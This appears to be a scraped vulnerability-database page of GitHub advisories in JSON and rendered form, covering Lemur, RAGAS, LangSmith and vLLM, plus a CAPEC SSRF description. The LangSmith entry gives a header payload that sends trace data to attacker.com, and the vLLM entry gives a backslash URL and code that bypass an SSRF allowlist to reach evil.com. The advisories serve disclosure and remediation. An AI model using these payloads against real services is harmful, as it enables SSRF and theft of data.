\u003ccode\u003eacme_url\u003c/code\u003e.\u003c/strong\u003e In \u003ccode\u003eacme_handlers.py:161-167\u003c/code\u003e reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be \u003ccode\u003e{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org}\u003c/code\u003e plus any internal ACME directory the deployment opts in to. Reject \u003ccode\u003e169.254.0.0/16\u003c/code\u003e, \u003ccode\u003e127.0.0.0/8\u003c/code\u003e, \u003ccode\u003e10.0.0.0/8\u003c/code\u003e, \u003ccode\u003e172.16.0.0/12\u003c/code\u003e, \u003ccode\u003e192.168.0.0/16\u003c/code\u003e, \u003ccode\u003efc00::/7\u003c/code\u003e, \u003ccode\u003efe80::/10\u003c/code\u003e, plus DNS names that resolve to any of those after \u003ccode\u003egetaddrinfo\u003c/code\u003e (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eALLOWED_ACME_HOSTS = current_app.config.get(\n    \"ACME_DIRECTORY_HOST_ALLOWLIST\",\n    {\"acme-v02.api.letsencrypt.org\", \"acme-staging-v02.api.letsencrypt.org\"}\n)\nparsed = urlparse(directory_url)\nif parsed.scheme not in {\"https\"} or parsed.hostname not in ALLOWED_ACME_HOSTS:\n    raise ValueError(\"acme_url host not allowlisted\")\n\u003c/code\u003e\u003c/pre\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eDrop the creator branch from the key-fetch view.\u003c/strong\u003e In \u003ccode\u003ecertificates/views.py:734\u003c/code\u003e, replace the \u003ccode\u003eif g.current_user != cert.user:\u003c/code\u003e branch with an unconditional \u003ccode\u003eCertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can()\u003c/code\u003e check. The cert\u0027s \u003cem\u003ecurrent\u003c/em\u003e owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eStop auto-provisioning SSO users as active.\u003c/strong\u003e In \u003ccode\u003eauth/views.py:300-308\u003c/code\u003e, default new identities to \u003ccode\u003eactive=False, roles=[]\u003c/code\u003e and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default \u003ccode\u003eread-only\u003c/code\u003e role.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eAudit-log the creator on every key fetch, separately from \u003ccode\u003eg.current_user\u003c/code\u003e.\u003c/strong\u003e Even after the IDOR is fixed, the operator should be able to retroactively see \u003cem\u003ewho actually pulled the key bytes\u003c/em\u003e on every cert. Log \u003ccode\u003ecreator_id\u003c/code\u003e, \u003ccode\u003ecurrent_owner\u003c/code\u003e, \u003ccode\u003eg.current_user.id\u003c/code\u003e, request IP, and full URL on every read of \u003ccode\u003e/certificates/\u0026#x3C;id\u003e/key\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 data-heading=\"Related Context\"\u003eRelated Context\u003c/h2\u003e\n\u003ch3 data-heading=\"External References\"\u003eExternal References\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCWE-918: \u003ca href=\"https://cwe.mitre.org/data/definitions/918.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/918.html\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCWE-639: \u003ca href=\"https://cwe.mitre.org/data/definitions/639.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/639.html\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCWE-285: \u003ca href=\"https://cwe.mitre.org/data/definitions/285.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/285.html\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCVSS 3.1 calculator: \u003ca href=\"https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIMDSv1 vs IMDSv2 background: \u003ca href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-options.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-options.html\u003c/a\u003e (IMDSv2 mitigates SSRF-only chains; this chain still works against any deployment still on IMDSv1, and against any HTTP fetch that the worker is allowed to make).\u003c/li\u003e\n\u003cli\u003eCapital One IMDS SSRF post-mortem (general SSRF\u2192IMDS playbook): public reference, illustrative only.\u003c/li\u003e\n\u003cli\u003eWalkthrough recording: \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e\u003c/li\u003e",
  "id": "GHSA-v2wp-frmc-5q3v",
  "modified": "2026-06-25T22:07:19Z",
  "published": "2026-06-25T22:07:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-v2wp-frmc-5q3v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise"
}

GHSA-V2XR-WVRV-P969

Vulnerability from github – Published: 2026-03-05 21:30 – Updated: 2026-04-08 22:21
VLAI
Summary
RAGAS has an Arbitrary File Read vulnerability
Details

An Arbitrary File Read vulnerability exists in the ImageTextPromptValue class in Exploding Gradients RAGAS v0.2.3 to v0.2.14. The vulnerability stems from improper validation and sanitization of URLs supplied in the retrieved_contexts parameter when handling multimodal inputs.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ragas"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.3"
            },
            {
              "fixed": "0.3.0-rc1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-45691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-770",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T22:23:31Z",
    "nvd_published_at": "2026-03-05T19:16:00Z",
    "severity": "HIGH"
  },
  "details": "An Arbitrary File Read vulnerability exists in the ImageTextPromptValue class in Exploding Gradients RAGAS v0.2.3 to v0.2.14. The vulnerability stems from improper validation and sanitization of URLs supplied in the retrieved_contexts parameter when handling multimodal inputs.",
  "id": "GHSA-v2xr-wvrv-p969",
  "modified": "2026-04-08T22:21:50Z",
  "published": "2026-03-05T21:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45691"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explodinggradients/ragas/pull/1559"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vibrantlabsai/ragas/pull/1991"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vibrantlabsai/ragas/commit/b28433709cbedbb531db79dadcfbdbd3aa6adcb0"
    },
    {
      "type": "WEB",
      "url": "https://adithyanak.com/ragas-v0214-arbitrary-file-read-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explodinggradients/ragas/blob/e97886ac976465efb60e5949c5d69baf30cc811d/src/ragas/prompt/multi_modal_prompt.py#L202"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vibrantlabsai/ragas"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RAGAS has an Arbitrary File Read vulnerability"
}

GHSA-V34V-RQ6J-CJ6P

Vulnerability from github – Published: 2026-02-09 20:36 – Updated: 2026-02-09 22:39
VLAI
Summary
LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
Details

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.


Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.


Attack Vector

  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]

  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil


Impact

  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they: - Use TracingMiddleware to automatically propagate tracing context - Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers


Remediation

Update to the patched versions: - Python: pip install langsmith>=0.6.3 - JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.


Workarounds

If unable to upgrade immediately: - Strip or validate the baggage header before passing to from_headers() - Do not use TracingMiddleware with untrusted traffic

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langsmith"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.10"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "langsmith"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.41"
            },
            {
              "fixed": "0.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:36:59Z",
    "nvd_published_at": "2026-02-09T21:15:48Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---\n\n## Description\n\nWhen using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.\n\nPrior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.\n\n---\n\n## Attack Vector\n\n1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:\n   ```\n   baggage: langsmith-replicas=[{\"api_url\":\"https://attacker.com/exfil\",\"project_name\":\"x\"}]\n   ```\n\n2. The service parses the header via `RunTree.from_headers()`, storing the attacker\u0027s URL\n\n3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`\n\n---\n\n## Impact\n\n- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers\n- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services\n\n---\n\n## Affected Use Cases\n\nApplications are vulnerable if they:\n- Use `TracingMiddleware` to automatically propagate tracing context\n- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers\n\n---\n\n## Remediation\n\nUpdate to the patched versions:\n- **Python:** `pip install langsmith\u003e=0.6.3`\n- **JavaScript:** `npm install langsmith@\u003e=0.4.6`\n\nThe fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.\n\n---\n\n## Workarounds\n\nIf unable to upgrade immediately:\n- Strip or validate the `baggage` header before passing to `from_headers()`\n- Do not use `TracingMiddleware` with untrusted traffic",
  "id": "GHSA-v34v-rq6j-cj6p",
  "modified": "2026-02-09T22:39:22Z",
  "published": "2026-02-09T20:36:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25528"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langsmith-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection"
}

GHSA-V359-JJ2V-J536

Vulnerability from github – Published: 2026-03-09 19:55 – Updated: 2026-07-17 16:17
VLAI
Summary
vLLM has SSRF Protection Bypass
Details

Summary

The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.

Affected Component

  • File: vllm/connections.py
  • Function: load_from_url_async

Vulnerability Details

Root Cause

The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.

These two URL parsers handle backslash characters (\) differently:

Parser Input URL Parsed Host Parsed Path Behavior
urllib3.parse_url() https://httpbin.org\@evil.com/ httpbin.org /%5C@evil.com/ URL-encodes \ as %5C, treats \@evil.com/ as part of the path
yarl (via aiohttp) https://httpbin.org\@evil.com/ evil.com / Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator

Attack Scenario

# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"

# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org"  ✅ Passes validation

# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
    async with session.get(malicious_url) as response:
        # Request actually goes to evil.com!  ❌ Bypass!

Why This Happens

  1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/
  2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%5C@evil.com/ which is treated as part of the path, leaving host=httpbin.org

This inconsistency allows an attacker to: - Bypass the hostname allowlist check - Access arbitrary internal/external services - Perform full SSRF attacks

Fixes

  • https://github.com/vllm-project/vllm/pull/34743
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.15.1"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:55:32Z",
    "nvd_published_at": "2026-03-09T21:16:15Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.\n\n## Affected Component\n\n- **File**: `vllm/connections.py`\n- **Function**: `load_from_url_async`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses `aiohttp` for making the actual HTTP requests, and `aiohttp` internally uses the `yarl` library for URL parsing.\n\nThese two URL parsers handle backslash characters (`\\`) differently:\n\n| Parser | Input URL | Parsed Host | Parsed Path | Behavior |\n|--------|-----------|-------------|-------------|----------|\n| `urllib3.parse_url()` | `https://httpbin.org\\@evil.com/` | `httpbin.org` | `/%5C@evil.com/` | URL-encodes `\\` as `%5C`, treats `\\@evil.com/` as part of the path |\n| `yarl` (via aiohttp) | `https://httpbin.org\\@evil.com/` | `evil.com` | `/` | Treats `\\` as part of userinfo (`user: httpbin.org\\`), the `@` acts as the userinfo/host separator |\n\n### Attack Scenario\n\n```python\n# Attacker provides this URL\nmalicious_url = \"https://httpbin.org\\\\@evil.com/\"\n\n# 1. Validation layer (urllib3.parse_url)\nparsed = urllib3.util.parse_url(malicious_url)\n# parsed.host == \"httpbin.org\"  \u2705 Passes validation\n\n# 2. Actual request (aiohttp with yarl)\nasync with aiohttp.ClientSession() as session:\n    async with session.get(malicious_url) as response:\n        # Request actually goes to evil.com!  \u274c Bypass!\n```\n\n### Why This Happens\n\n1. **yarl**: Interprets `httpbin.org\\` as the userinfo component, and `@` as the userinfo/host separator, so the URL is parsed as `user=httpbin.org\\`, `host=evil.com`, `path=/`\n2. **urllib3**: URL-encodes the backslash as `%5C`, so `\\@evil.com/` becomes `/%5C@evil.com/` which is treated as part of the path, leaving `host=httpbin.org`\n\nThis inconsistency allows an attacker to:\n- Bypass the hostname allowlist check\n- Access arbitrary internal/external services\n- Perform full SSRF attacks\n\n## Fixes\n\n- https://github.com/vllm-project/vllm/pull/34743",
  "id": "GHSA-v359-jj2v-j536",
  "modified": "2026-07-17T16:17:44Z",
  "published": "2026-03-09T19:55:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-v359-jj2v-j536"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25960"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/34743"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/6f3b2047abd4a748e3db4a68543f8221358002c0"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24977"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-25960"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445892"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-v359-jj2v-j536"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3411.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25960.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM has SSRF Protection Bypass"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.